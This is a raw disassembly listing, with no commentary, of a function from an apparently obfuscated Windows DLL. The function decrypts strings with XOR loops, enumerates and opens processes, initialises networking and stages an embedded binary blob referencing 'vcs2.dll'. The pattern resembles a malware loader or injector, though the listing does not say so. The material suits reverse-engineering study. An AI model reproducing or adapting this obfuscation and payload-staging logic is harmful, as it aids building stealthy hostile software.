shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001f440
cmp r8d, 0x11
jge 0x18001f574
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001f540
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001f590
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180006af0
nop
cmp qword [rbp - 0x30], 0
jne 0x18001f5b7
xor bl, bl
jmp 0x18001f8ee
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156854]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001f649
mov r8, rsi
lea rdx, [0x18015687c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov r9, rax
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001ffb5
mov rax, rbx
sub rax, r9
mov r8, rsi
cmp rax, rsi
cmovb r8, rax
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rax, qword [rsp + 0x40]
lea rcx, [rax + r9*2]
sub rbx, r8
lea rdx, [rcx + r8*2]
mov r8, rbx
sub r8, r9
lea r8, [r8*2 + 2]
call fcn.1800bc4c0
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156870]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001f6d0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001f87c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f877
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff07
jmp 0x18001f877
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001f6f0
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x20]
call fcn.180006af0
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x80]
call fcn.18009d6c0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.18009d6c0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001f743
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001f751
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001f776
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001f77f
add rax, 2
sub rcx, 1
jne 0x18001f763
cmp r9, r10
jae 0x18001f787
mov ebx, esi
jmp 0x18001f78d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001f78d
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001f7cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f7c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffbb
call fcn.1800b9f6c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18001f81e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f819
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffc1
call fcn.1800b9f6c
test ebx, ebx
je 0x18001f880
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001f6d0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001f87c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f877
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffc7
call fcn.1800b9f6c
xor bl, bl
jmp 0x18001f8ee
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001f8a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001f8ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f8e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffc7
call fcn.1800b9f6c
mov bl, 1
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001f92e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f929
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fef5
call fcn.1800b9f6c
test bl, bl
jne 0x18001fc5f
mov ecx, 0x98
call fcn.1800b9f30
mov rbx, rax
mov qword [rbp + 0x710], rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0x728], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
xor r8d, r8d
lea rdx, [0x18011dd80]
lea rcx, [rbp - 0x20]
call fcn.180006af0
nop
lea rax, [rbp + 0x28]
mov qword [rbp + 0xb0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
xor r8d, r8d
lea rdx, [0x18011dd84]
lea rcx, [rbp + 0x28]
call fcn.180006af0
nop
movups xmm0, xmmword [str.AGQT_]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x180157c50]
mov dword [rsp + 0x50], eax
cmp word [0x180157c52], 0
je 0x18001fa06
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x33
xor word [rsp + 0x44], 0x34
xor word [rsp + 0x46], 0x35
xor word [rsp + 0x48], 0x36
xor word [rsp + 0x4a], 0x37
xor word [rsp + 0x4c], 0x38
xor word [rsp + 0x4e], 0x39
xor word [rsp + 0x50], 0x3a
xor word [rsp + 0x52], 0x3b
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x18001fa20
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180006af0
nop
lea r9, [rbp - 0x20]
lea r8, [rbp + 0x28]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.18002b2f0
mov rdi, rax
mov rcx, qword [rbp + 0xc0]
mov qword [rax + 0x18], rcx
mov ecx, dword [rbp + 0xd0]
mov dword [rax], ecx
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea rbx, [rax + 0x7530]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
ja 0x18001fc59
movups xmm0, xmmword [str.AGQT_D_KLR_X]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180157ce0]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180157cf0]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001fbdf
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bf40]
movd xmm6, r15d
movdqa xmm7, xmmword [0x18015bdc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.222222223333333388888888]
lea rcx, [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001faf0
cmp r8d, 0x11
jge 0x18001fc24
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001fbf0
xor r8d, r8d
lea rdx, [rbp]
mov ecx, dword [rbp + 0xd0]
call fcn.18009eae0
test rax, rax
jne 0x18001fcd9
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
jbe 0x18001fa82
mov r14d, 0x405f
mov rdx, qword [rbp + 0x130]
cmp rdx, 8
jb 0x18001fca5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001fca0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffcd
call fcn.1800b9f6c
mov eax, r14d
lea r11, [rsp + 0x7c8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8d, 0x2a400
lea rdx, [0x18030b780]
lea rcx, [rbp + 0x98]
call fcn.18009d880
nop
lea rdx, [rbp + 0x98]
lea rcx, [rsp + 0x40]
call fcn.180004fa0
mov rdx, rax
mov rcx, rdi
call fcn.18002b670
lea rcx, [rbp + 0x98]
call fcn.180014400
mov rdx, qword [0x180361bd8]
lea rcx, [rbp + 0x3a0]
call fcn.18001ffe0
nop
mov rax, qword [0x180361bd8]
mov dword [rax + 0x30], r13d
mov dword [rax + 0x24], r14d
mov dword [rax + 0x20], r14d
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180011680
lea rdx, [rbp + 0xd8]
mov rcx, rax
call fcn.180011660
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rbp + 0xe8]
sub rax, rcx
cmp rax, 8
jb 0x18001ffd3
lea r9, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 8
cmovae r9, qword [rbp + 0xd8]
mov qword [rsp + 0x30], 8
lea rax, str.vcs2.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xf8]
call fcn.1800079c0
nop
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0xf8]
call fcn.180005210
mov rbx, qword [rax]
lea rdx, [rbp + 0x728]
lea rcx, [rbp + 0xf8]
call fcn.180005230
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x138]
call fcn.1800069b0
nop
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0x40]
call fcn.180004fa0
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.1800a5a50
lea rdx, [rbp + 0x138]
lea rcx, [rbp]
call fcn.180005730
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
call fcn.18001b9a0
mov ebx, eax
lea rdx, [rbp + 0x3a0]
mov rcx, qword [0x180361bd8]
call fcn.180020110
test ebx, ebx
je 0x18001fe5b
call fcn.18001cfa0
mov r14d, eax
jmp 0x18001fe5e
mov r14d, r13d
lea rcx, [rbp + 0x138]
call fcn.1800055d0
nop
lea rcx, [rbp + 0xf8]
call fcn.180005250
nop
lea rcx, [rbp + 0xd8]
call fcn.180005250
nop
lea rcx, [rbp + 0x3e8]
call fcn.180010fe0
lea rcx, [rbp + 0x3a0]
call fcn.180011880
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x18001fc5f
mov rdx, qword [rbp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001fed9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fef5
call fcn.1800b9f6c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
jmp 0x18001fc5f
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800061b0
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800061b0
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800061b0
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800061b0
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800061b0
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800061b0
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
int3
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800061b0
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.180001570
int3